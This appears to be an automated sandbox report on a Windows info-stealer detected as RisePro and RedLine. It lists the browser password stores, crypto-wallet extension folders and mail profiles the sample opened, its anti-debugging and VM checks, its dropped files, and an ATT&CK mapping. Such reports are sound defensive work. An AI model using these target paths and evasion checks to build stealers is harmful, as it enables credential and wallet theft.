Source: file.exe, 00000000.00000003.2037044301.00000000016B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.2127388738.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .comVMware20,11696428
Source: file.exe, 00000000.00000003.2132551891.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,1169642865
Source: file.exe, 00000000.00000003.2132551891.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r global passwords blocklistVMware20,11696428655
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.3698690548.00000000064C2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: file.exe, 00000000.00000003.3698791395.0000000001714000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_D59C8AA1Ee
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2127388738.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2127388738.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nickname.utiitsl.comVMware20,1169642865
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.3698791395.0000000001714000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_D59C8AA1
Source: file.exe, 00000000.00000003.2127388738.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ra Change Transaction PasswordVMware20,11696428655
Source: file.exe, 00000000.00000003.2132551891.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696P
Source: file.exe	Binary or memory string: :sqEMu
Source: file.exe, 00000000.00000003.2132551891.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: o.inVMware20,11696428655~
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2037044301.00000000016B1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000003.2132551891.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HARtive Brokers - non-EU EuropeVMware20,11696428655
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: file.exe, 00000000.00000002.4445088347.0000000006456000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}gramFiles=C:\Program Files (x86)ProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsE
Source: file.exe, 00000000.00000003.2132551891.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: file.exe, 00000000.00000003.2132551891.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: comVMware20,11696428655o
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2132551891.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: rootpagecomVMware20,11696428655o
Source: file.exe, 00000000.00000003.2127388738.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000002.4445088347.0000000006430000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2132551891.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pageformVMware20,11696428655
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2132551891.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000002.4445088347.0000000006480000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}AW.EXE;MMC.EXE;MSHTA.EXE;RUNDLL32.EXE;WINHLP32.EXE;4DX-
Source: file.exe, 00000000.00000002.4443887762.000000000169D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: GNGpmTFam5reWeb Data.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000002.4443887762.0000000001699000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: file.exe, 00000000.00000003.2127388738.0000000006545000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: billing_address_id.comVMware20,11696428

Source: C:\Users\user\Desktop\file.exe

API call chain: ExitProcess graph end node

graph_0-33793

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06D61780 GetCurrentThreadId,IsDebuggerPresent,OutputDebugStringW,

0_2_06D61780

Source: C:\Users\user\Desktop\file.exe

0_2_06D4C990

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06D576E0 GetProcessHeap,HeapFree,

0_2_06D576E0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D662B6 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_06D662B6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D66014 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_06D66014
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06D6FC07 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_06D6FC07

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe "C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe"

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06D65D6C cpuid

0_2_06D65D6C

Source: C:\Users\user\Desktop\file.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_06D802FD
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_06D80227
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_06D75047
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_06D80121
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,	0_2_06D7FFF8
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoEx,FormatMessageA,	0_2_06D62CC6
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_06D7FC7F
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_06D7FC34
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_06D7FDA5
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_06D7FD1A
Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_06D74ADB
Source: C:\Users\user\Desktop\file.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_06D7F988

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_06D6537F GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,

0_2_06D6537F

Source: C:\Users\user\Desktop\file.exe

0_2_06D4C990

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Clipboard Hijacker

Source: Yara match	File source: 8.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.MSIUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.EdgeMS2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.oobeldr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.AdobeUpdaterV2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.llmcrdwzLnNKYB4T0Vnw.exe.400000.0.unpack, type: UNPACKEDPE

Yara detected RisePro Stealer

Source: Yara match	File source: 00000000.00000002.4445088347.0000000006449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2157362439.00000000061CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4112, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\dZGGvSkztfgYu5jqSY21Wne.zip, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\signons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\signons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_hnfanknocfeofbddgcijnmhnfnkdnaad_0.indexeddb.leveldb\CURRENT	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 4112, type: MEMORYSTR

Remote Access Functionality

Yara detected RisePro Stealer

Source: Yara match	File source: 00000000.00000002.4445088347.0000000006449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2157362439.00000000061CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4112, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\dZGGvSkztfgYu5jqSY21Wne.zip, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Create Account	1 Valid Accounts	2 Obfuscated Files or Information	1 Credential API Hooking	2 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Valid Accounts	1 Access Token Manipulation	1 Software Packing	Security Account Manager	146 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	11 Process Injection	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	1 Email Collection	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	21 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Masquerading	LSA Secrets	221 Security Software Discovery	SSH	1 Credential API Hooking	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	21 Registry Run Keys / Startup Folder	1 Valid Accounts	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\l2[1].exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Local\Temp\span1UB98D2D2zeo\llmcrdwzLnNKYB4T0Vnw.exe	83%	ReversingLabs	Win32.Trojan.RedLine
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	83%	ReversingLabs	Win32.Trojan.RedLine

Source	Detection	Scanner	Label
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ipinfo.io/Mozilla/5.0	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
https://ipinfo.io/	0%	URL Reputation	safe
